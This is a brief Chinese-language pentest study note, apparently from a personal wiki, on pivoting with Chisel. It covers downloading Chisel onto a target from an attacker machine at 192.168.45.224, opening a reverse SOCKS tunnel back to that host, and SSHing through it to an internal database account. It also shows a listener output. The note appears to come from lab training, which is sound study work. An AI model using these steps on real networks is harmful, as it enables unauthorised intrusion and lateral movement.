

【Tunneling】Chisel

```
# kali下載
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
mv chisel_1.8.1_linux_amd64 chisel
chmod +x ./chisel
# 或是用apt安裝
apt install chisel -y
# 執行 chisel
./chisel server --port 8080 --reverse

# user server 從kali(192.168.45.224)下載
wget http://192.168.45.224/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# 執行 chisel client
/tmp/chisel client 192.168.45.224:8080 R:socks

# 安裝ncat
atp install ncat

# 使用ProxyCommand 執行 ncat
# %h 和 %p 令牌代表 SSH 命令的主機和port
ssh -o ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215
```

```
└─$ ss -ntulp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:33918 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1080 0.0.0.0:* users:(("chisel",pid=551518,fd=8))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 1 0.0.0.0:443 0.0.0.0:* users:(("nc",pid=479897,fd=3))
tcp LISTEN 0 511 *:80 *:80
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 4096 *:8080 *:8080 users:(("chisel",pid=551518,fd=6))
```

🕒 修訂版本 #6

★ 由 treeman 建立於 24 🕒 2024 03:52:41

🔧 由 treeman 更新於 24 🕒 2024 11:07:03